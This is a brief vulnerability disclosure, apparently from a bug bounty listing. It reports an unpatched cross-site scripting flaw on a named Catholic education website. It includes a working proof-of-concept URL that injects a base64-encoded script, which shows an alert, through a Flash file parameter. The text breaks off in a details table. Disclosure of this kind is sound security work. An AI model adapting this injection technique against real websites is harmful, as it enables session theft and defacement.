cns.catholic.edu.au XSS vulnerability

Vulnerable URL: http://www.cns.catholic.edu.au/spirited-schools/edition2/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| No Latest check for patch:| 20.08.2017 Vulnerability type:| XSS...